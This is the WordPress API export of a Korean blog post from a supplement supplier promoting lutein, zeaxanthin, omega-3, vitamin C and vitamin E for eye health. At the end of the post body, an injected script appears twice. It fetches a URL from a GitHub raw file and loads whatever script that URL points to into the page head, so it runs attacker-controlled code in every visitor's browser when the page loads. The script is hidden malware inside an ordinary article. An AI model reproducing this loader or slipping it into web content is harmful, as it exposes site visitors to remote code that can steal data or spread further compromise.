{"id":4785,"date":"2024-01-25T16:47:23","date_gmt":"2024-01-25T08:47:23","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4785"},"modified":"2024-04-12T23:57:52","modified_gmt":"2024-04-12T15:57:52","slug":"key-nutrients-protect-eyesight-and-prevent-myopia","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\uc2dc\ub825\uc744-\ubcf4\ud638\ud558\uace0-\uadfc\uc2dc\ub97c-\uc608\ubc29\ud558\ub294-\uc8fc\uc694-\uc601\uc591\uc18c\/","title":{"rendered":"\uc2dc\ub825\uc744 \ubcf4\ud638\ud558\uace0 \uadfc\uc2dc\ub97c \uc608\ubc29\ud558\ub294 \uc8fc\uc694 \uc601\uc591\uc18c"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-4b2fed8\" data-block-id=\"4b2fed8\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3350\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp\" width=\"819\" height=\"447\" alt=\"\ub8e8\ud14c\uc778\uc740 \uc5b4\ub5bb\uac8c \uc120\ud0dd\ud574\uc57c \ud558\ub098\uc694?\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp 819w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-300x164.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-768x419.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-600x327.webp 600w\" sizes=\"(max-width: 819px) 100vw, 819px\" \/><\/figure><\/div>\n\n\n\n<p>\ub208\uc740 \uc138\uc0c1\uc744 \uc778\uc2dd\ud558\ub294 \uc911\uc694\ud55c \uae30\uad00\uc774\uc9c0\ub9cc, \ub098\uc774\uac00 \ub4e4\uace0 \uc0dd\ud65c \uc555\ub825\uc774 \ub192\uc544\uc9c0\uba74\uc11c \ub208 \uac74\uac15 \ubb38\uc81c\uac00 \uc11c\uc11c\ud788 \ub098\ud0c0\ub098\uace0 \uc788\uc2b5\ub2c8\ub2e4. \ub208 \uac74\uac15\uc744 \uc9c0\ud0a4\uace0 \uadfc\uc2dc\ub97c \uc608\ubc29\ud558\uae30 \uc704\ud574 \uc18c\uc911\ud55c \uc2dc\ub825\uc744 \ubcf4\ud638\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub418\ub294 5\uac00\uc9c0 \ud575\uc2ec \uc601\uc591\uc18c\ub97c \uc18c\uac1c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/\uae08\uc794\ud654-\uaf43-\ucd94\ucd9c\ubb3c-\ub8e8\ud14c\uc778-\uacf5\uae09-\uc5c5\uccb4-\uae08\uc794\ud654-\uaf43-\ucd94\ucd9c\ubb3c\/\">\ub8e8\ud14c\uc778<\/a> \ub208\uc758 \uc218\ud638\uc131\uc778 '<\/h2>\n\n\n\n<p>\ub8e8\ud14c\uc778\uc740 \uac15\ub825\ud55c <a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/natural-colors\/carotenoids\/\">\uce74\ub85c\ud2f0\ub178\uc774\ub4dc<\/a> \uc2dc\uae08\uce58, \ucf00\uc77c, \ube0c\ub85c\ucf5c\ub9ac\uc640 \uac19\uc740 \uc78e\uc774 \ub9ce\uc740 \ub179\uc0c9 \ucc44\uc18c\uc5d0\uc11c \uc8fc\ub85c \ubc1c\uacac\ub418\ub294 \ud654\ud569\ubb3c\uc785\ub2c8\ub2e4. \ub8e8\ud14c\uc778\uc740 \uc790\uc678\uc120 \uc190\uc0c1\uc73c\ub85c\ubd80\ud130 \ub208\uc744 \ubcf4\ud638\ud558\uace0 \ubc31\ub0b4\uc7a5\uc774\ub098 \ud669\ubc18\ubcc0\uc131\uacfc \uac19\uc740 \uc548\uacfc \uc9c8\ud658\uc758 \uc704\ud5d8\uc744 \uc904\uc5ec\uc90d\ub2c8\ub2e4. \ub9e4\uc77c \ub8e8\ud14c\uc778\uc744 \ucda9\ubd84\ud788 \uc12d\ucde8\ud558\uc5ec \ub208\uc758 \uc190\uc0c1\uc744 \uc608\ubc29\ud558\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/\uae08\uc794\ud654-\uaf43-\ucd94\ucd9c\ubb3c-\uc81c\uc544\uc794\ud2f4-\uacf5\uae09-\uc5c5\uccb4-\uae08\uc794\ud654-\uaf43-\ucd94\ucd9c\/\">\uc81c\uc544\uc794\ud2f4<\/a> \ub178\ub780\uc0c9 \uac00\ub514\uc5b8\uc73c\ub85c \ub208 \uc190\uc0c1 \uac10\uc18c<\/h2>\n\n\n\n<p>\uc81c\uc544\uc794\ud2f4\uc740 \ub2f9\uadfc\uc774\ub098 \ud638\ubc15\uacfc \uac19\uc740 \uc8fc\ud669\uc0c9 \ubc0f \ub178\ub780\uc0c9 \ucc44\uc18c\uc5d0 \ub9ce\uc774 \ud568\uc720\ub41c \ud56d\uc0b0\ud654\uc81c\uc785\ub2c8\ub2e4. \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc904\uc774\uace0 \ub208\uc744 \uc190\uc0c1\uc73c\ub85c\ubd80\ud130 \ubcf4\ud638\ud569\ub2c8\ub2e4. \uac74\uac15\ud55c \ub208\uc744 \uc704\ud574 \uc2dd\ud0c1\uc5d0 \ub178\ub780\uc0c9 \ucc44\uc18c\ub97c \ub354 \ub9ce\uc774 \ucd94\uac00\ud558\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc624\uba54\uac00-3\ub294 \ub208\uc5d0 \uc218\ubd84\uc744 \uacf5\uae09\ud558\uace0 \ub9cc\uc131 \uc548\uad6c \uc9c8\ud658\uc758 \uc704\ud5d8\uc744 \uc904\uc5ec\uc90d\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc624\uba54\uac00-3, \ud2b9\ud788 DHA\uc640 EPA\ub294 \ub208 \uac74\uac15\uc5d0 \ud544\uc218\uc801\uc778 \uc601\uc591\uc18c\uc785\ub2c8\ub2e4. \uc624\uba54\uac00-3\ub294 \uc0dd\uc120, \uc544\ub9c8\uc528, \ud638\ub450\uc640 \uac19\uc740 \uc2dd\ud488\uc5d0 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4. \uc624\uba54\uac00-3\ub294 \ub208\uc744 \ucd09\ucd09\ud558\uac8c \uc720\uc9c0\ud558\uace0 \ub9cc\uc131 \uc548\uad6c \uc9c8\ud658\uc758 \uc704\ud5d8\uc744 \uc904\uc774\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4. \uc624\uba54\uac00-3\ub85c \ub208\uc744 \uc80a\uace0 \ud65c\ub3d9\uc801\uc73c\ub85c \uc720\uc9c0\ud558\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/vitamin-derivatives\/vitamin-c\/\">\ube44\ud0c0\ubbfc C<\/a> \ud56d\uc0b0\ud654 \uc2a4\ud0c0\ub294 \uc0b0\ud654 \uc190\uc0c1\uc73c\ub85c\ubd80\ud130 \ub208\uc744 \ubcf4\ud638\ud569\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc C\ub294 \uac10\uade4\ub958, \ub538\uae30, \uc78e\uc774 \ub9ce\uc740 \ucc44\uc18c\uc640 \uac19\uc740 \uacfc\uc77c\uacfc \ucc44\uc18c\uc5d0 \ub110\ub9ac \ud568\uc720\ub41c \uac15\ub825\ud55c \ud56d\uc0b0\ud654\uc81c\uc785\ub2c8\ub2e4. \ube44\ud0c0\ubbfc C\ub294 \ub208\uc758 \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4\ub97c \uc904\uc774\uace0 \ubc31\ub0b4\uc7a5 \uc704\ud5d8\uc744 \uc904\uc5ec\uc90d\ub2c8\ub2e4. \ub208\uc744 \ube5b\ub098\uac8c \ud558\ub824\uba74 \ub9e4\uc77c \ucda9\ubd84\ud55c \ube44\ud0c0\ubbfc C\ub97c \uc12d\ucde8\ud558\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ube44\ud0c0\ubbfc E\ub294 \uc138\ud3ec\ub9c9\uc744 \ubcf4\ud638\ud558\uace0 \ub208 \uac74\uac15\uc744 \uc720\uc9c0\ud569\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc E\ub294 \uc8fc\ub85c \ub545\ucf69, \uc544\ubaac\ub4dc, \ud574\ubc14\ub77c\uae30\uc528\uc640 \uac19\uc740 \uc2dd\ubb3c\uc131 \uae30\ub984, \uacac\uacfc\ub958 \ubc0f \uc528\uc557\uc5d0 \ud568\uc720\ub41c \uc9c0\uc6a9\uc131 \ud56d\uc0b0\ud654\uc81c\uc785\ub2c8\ub2e4. \ube44\ud0c0\ubbfc E\ub294 \ub208\uc744 \ud3ec\ud568\ud55c \uc138\ud3ec\ub9c9\uc744 \ubcf4\ud638\ud558\uc5ec \ub208 \uac74\uac15\uc744 \uc720\uc9c0\ud569\ub2c8\ub2e4. \uc885\ud569\uc801\uc778 \ub208 \ubcf4\ud638\ub97c \uc704\ud574 \ub9e4\uc77c \uc2dd\ub2e8\uc5d0 \ube44\ud0c0\ubbfc E\ub97c \ub354 \ub9ce\uc774 \ucd94\uac00\ud558\uc138\uc694.<\/p>\n\n\n\n<p>\ud3c9\uc0dd \uc2dc\ub825 \uac74\uac15\uc744 \uc720\uc9c0\ud558\ub824\uba74 \uade0\ud615 \uc7a1\ud78c \uc2dd\ub2e8\uc744 \ud1b5\ud574 \uc774\ub7ec\ud55c \uc8fc\uc694 \uc601\uc591\uc18c\ub97c \uc12d\ucde8\ud558\uace0 \uc815\uae30\uc801\uc778 \uc548\uacfc \uac80\uc9c4\uc744 \ud1b5\ud574 \uc7a0\uc7ac\uc801\uc778 \ub208 \ubb38\uc81c\ub97c \uc870\uae30\uc5d0 \ubc1c\uacac\ud558\uace0 \uce58\ub8cc\ud558\ub294 \uac83\uc774 \uc88b\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c \ubc1d\uc740 \ube5b\uacfc \uccad\uc0c9\uad11\uc5d0 \uc7a5\uc2dc\uac04 \ub178\ucd9c\ub418\ub294 \uac83\uc744 \ud53c\ud558\uace0 \uc120\uae00\ub77c\uc2a4\ub098 \uc790\uc678\uc120 \ucc28\ub2e8 \uc548\uacbd\uacfc \uac19\uc740 \ub208 \ubcf4\ud638 \uc7a5\ube44\ub97c \uc801\uc808\ud788 \uc0ac\uc6a9\ud558\ub294 \uac83\ub3c4 \ub208 \uac74\uac15\uc744 \uc9c0\ud0a4\ub294 \uc911\uc694\ud55c \ubc29\ubc95\uc785\ub2c8\ub2e4.<\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>The eye is an important organ to perceive the world, but with the increase of age and life pressure, eye health problems gradually emerge. In order to protect eye health and prevent myopia, this article will introduce 5 key nutrients to help you protect your precious vision. Lutein eyes&#8217; patron saint \u2018 Lutein is a [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3350,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Key nutrients protect eyesight and prevent myopia","_seopress_titles_desc":"In order to protect eye health and prevent myopia, this article will introduce 5 key nutrients to help you protect your precious vision.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1343,1380],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp",819,447,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-300x164.webp",300,164,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-768x419.webp",768,419,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp",819,447,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp",819,447,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp",819,447,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-600x327.webp",600,327,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/How-should-I-choose-lutein-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>The eye is an important organ to perceive the world, but with the increase of age and life pressure, eye health problems gradually emerge. In order to protect eye health and prevent myopia, this article will introduce 5 key nutrients to help you protect your precious vision. Lutein eyes&#8217; patron saint \u2018 Lutein is a powerful carotenoid compound found primarily in leafy green vegetables such as spinach, kale, and broccoli. Lutein protects the eyes from UV damage and reduces the risk of eye diseases such as cataracts and macular degeneration. Get enough lutein every day to keep your eyes away&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/4785"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=4785"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/4785\/revisions"}],"predecessor-version":[{"id":6401,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/4785\/revisions\/6401"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/3350"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=4785"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=4785"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=4785"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}